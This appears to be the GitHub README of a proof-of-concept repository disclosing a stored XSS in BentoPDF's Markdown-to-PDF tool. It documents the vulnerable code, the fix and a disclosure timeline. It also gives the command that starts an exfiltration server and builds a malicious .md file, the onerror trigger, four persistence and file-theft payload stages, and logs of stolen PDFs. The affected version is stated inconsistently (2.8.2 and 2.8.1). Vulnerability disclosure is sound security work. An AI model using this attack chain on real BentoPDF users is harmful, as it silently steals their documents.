Skip to content

Astaruf/CVE-2026-41653

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2026-41653: BentoPDF ≤ 2.8.2 - Stored XSS → File Exfiltration

Discovered & reported by: Astaruf

Full writeup: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/

Upstream advisory: alam00000/bentopdf GHSA advisory

NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-41653


Summary

BentoPDF is a self-hosted, browser-side PDF toolbox (compress, merge, split, rotate, convert, Markdown-to-PDF, etc.).

The Markdown-to-PDF tool passes user-supplied Markdown through markdown-it with html: true and injects the rendered output directly into the DOM via innerHTML with no sanitization. An attacker who delivers a crafted .md file achieves arbitrary JavaScript execution in the BentoPDF origin.

Because BentoPDF is a fully client-side application, every tool (Compress PDF, Merge PDF, Split PDF, etc.) loads and processes files directly in the victim's browser. A single XSS is therefore enough to silently exfiltrate every document the victim opens in any tool during the session.

Attacker sends report.md (containing <img onerror=...>)
  -> Victim opens it in Markdown-to-PDF
    -> markdown-it renders raw HTML (html: true)
      -> preview.innerHTML = html  (no DOMPurify)
        -> poc_payload.js loaded from attacker server (no CSP)
          -> FileReader + <input type=file> hooked app-wide
            -> hidden popup re-injects hooks on every tool navigation
              -> every file the victim opens is silently exfiltrated

Impact

  • Silent file exfiltration. Every file the victim opens in any BentoPDF tool during the session (PDF, image, document) is POSTed to the attacker's server.
  • WASM supply-chain hijack. The payload overwrites localStorage['bentopdf:wasm-providers'], redirecting PyMuPDF, Ghostscript, and cpdf WASM module downloads to an attacker-controlled host.
  • Cross-page persistence. A hidden 1×1 popup polls window.opener and re-injects file hooks every time the victim navigates to a different tool, maintaining access across the entire session.
  • Service Worker cache poisoning (HTTPS only). On HTTPS deployments the payload registers a Service Worker and poisons the bentopdf-* cache, appending an exfiltration hook to every /assets/*.js file served to the browser beyond the current session.

Vulnerability Details

1. Raw HTML pass-through in markdown-it (CWE-79)

src/js/utils/markdown-editor.ts (lines 271–272):

private mdOptions: MarkdownItOptions = {
  html: true,   // raw HTML tags pass through the markdown parser
  breaks: false,
  linkify: true,
  typographer: true,
};

Tags like <img>, <svg>, <details> and any event handler attributes (onerror, onload, ontoggle) are forwarded to the DOM as-is.

2. Unsanitized innerHTML injection (CWE-116)

src/js/utils/markdown-editor.ts (lines 689–694):

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = html;  // attacker-controlled HTML injected into DOM
  this.renderMermaidDiagrams();
}

No sanitization library is applied between markdown-it and innerHTML. The browser parses the injected string, encounters the inline event handler, and executes it immediately.

3. No Content-Security-Policy

nginx.conf ships with no Content-Security-Policy header. Injected JavaScript can freely load external scripts, issue fetch() requests to any host, and open popup windows. A restrictive CSP would have prevented the external-script loading stage even with the sink intact.

Proof of Concept

Quick Start

# Start the attacker server for exfiltration
python3 poc.py --lhost <YOUR_IP> --lport 9999

# poc.py will:
#   - generate poc_report.md payload in the current directory
#   - start listening for victim's callbacks and exfiltrated files

Send poc_report.md to the victim and ask them to open it in BentoPDF → Markdown-to-PDF. The payload fires the moment the preview renders, and all files the victim will upload in the future are exfiltrated to the attacker's server.

Options

Option Default Description
--lhost required IP reachable by the victim's browser
--lport 9999 Listening port
--loot-dir ./loot/ Directory where exfiltrated files are saved
--log-file none Append all events to a file (ANSI codes stripped)
--no-color off Disable ANSI colors in terminal output

Demo

1. Attacker server started with --lhost and --lport. The malicious poc_report.md is generated automatically.

$ python3 poc.py --lhost 127.0.0.1 --lport 9999 

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██╗  ██████╗  ███████╗ ██████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ███║ ██╔════╝  ██╔════╝ ╚════██╗
██║     ██║   ██║█████╗   -2026- ███████║ ╚██║ ███████╗  ███████╗  █████╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║  ██║ ██╔══██║  ╚════██║  ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗             ██║  ██║ ╚██████║  ███████║ ██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═╝  ╚═════╝  ╚══════╝ ╚═════╝

  BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
  PoC by Astaruf (https://nstsec.com)

========================================================================
  Exfiltration server:    http://127.0.0.1:9999
  Payload:   http://127.0.0.1:9999/poc_payload.js
  Loot dir:  /home/kali/loot
========================================================================

  Malicious .md file ready: /home/kali/poc_report.md

  Send it to the victim and ask them to open it in Markdown-to-PDF tool.
  The payload fires as soon as the preview renders.

========================================================================

  Waiting for victims...

2. Victim opens the Markdown-to-PDF tool in BentoPDF.

Markdown-to-PDF tool

3. Victim loads poc_report.md. The preview renders, <img src=x> fails to load, onerror fires. poc_payload.js is fetched from the attacker server with no CSP to block it.

report.md rendered

4. The payload runs its four stages: WASM provider hijack via localStorage, popup monitor spawned, FileReader and file-input hooks installed on the current page.

Hooks installed and popup monitor

5. Victim navigates to Compress PDF. The popup detects the navigation and re-injects the hooks into the new page.

Victim on Compress PDF

6. Victim loads a PDF. The tool compresses it normally. The file bytes were already POSTed to the attacker server.

Exfiltration in flight

7. Attacker server output from a verified run:

[17:11:11] WASM HIJACK     { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON          { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON          { page: '.../index.html' }
[17:12:00] BEACON          { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED  Lorem_ipsum.pdf (23.7 KB)  ->  loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON          { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED  Lorem_ipsum.pdf (23.7 KB)  ->  loot/171358_Lorem_ipsum.pdf

Attacker server log

8. The exfiltrated file opens as a complete, valid PDF identical to the original.

Exfiltrated PDF

Payload Stages

The payload embedded in poc.py runs four stages in sequence:

Stage What it does Persistence scope
1 Overwrites localStorage['bentopdf:wasm-providers'] to redirect all WASM module downloads to the attacker Across browser sessions
2 Registers /sw.js, enumerates /assets/*.js across all tool pages, poisons the bentopdf-* Service Worker cache with an exfil hook Beyond the browser session (HTTPS only)
3 Spawns a hidden 1×1 popup that polls window.opener.location.href and re-injects file hooks after every tool navigation While the BentoPDF tab is open
4 Hooks FileReader.prototype.readAsArrayBuffer and the document-level change listener: every file the victim touches is POSTed to the attacker server /file?name=<filename> Current page

Fix

Shipped in BentoPDF v2.8.3. The developer audited the codebase beyond the originally reported sink and addressed multiple related vectors:

  1. DOMPurify applied at all three innerHTML sinks in markdown-editor.ts, including the Mermaid SVG path which used securityLevel: 'loose' and was found to bypass the first sanitizer.
  2. Mermaid now runs with securityLevel: 'strict' and SVG output is re-sanitized with DOMPurify's SVG profile.
  3. file.name XSS escaped across ~8 tool pages (Deskew, Form Filler, Remove Annotations, etc.) where filenames were previously concatenated into HTML unsanitized.
  4. WASM provider allowlist introduced: untrusted URLs in localStorage['bentopdf:wasm-providers'] are dropped on load.
  5. Service Worker cache version bumped with an integrity-aware trusted-hosts list.
  6. Full security header set enforced in nginx.conf, including Content-Security-Policy.

Minimal fix for the originally reported sink:

import DOMPurify from 'dompurify';

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = DOMPurify.sanitize(html);
}

CSP header added in nginx.conf:

add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;

Timeline

Date Event
2026-04-02 Vulnerability discovered
2026-04-02 Reported privately to the maintainer
2026-04-17 Maintainer acknowledged
2026-04-17 Fix landed on the edge build and re-tested
2026-04-18 v2.8.3 released with public credit
2026-04-21 GHSA advisory published
2026-04-22 CVE-2026-41653 assigned

References

Disclaimer

This material is provided for authorized security testing and educational purposes only. Use it only against BentoPDF instances you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.

License

MIT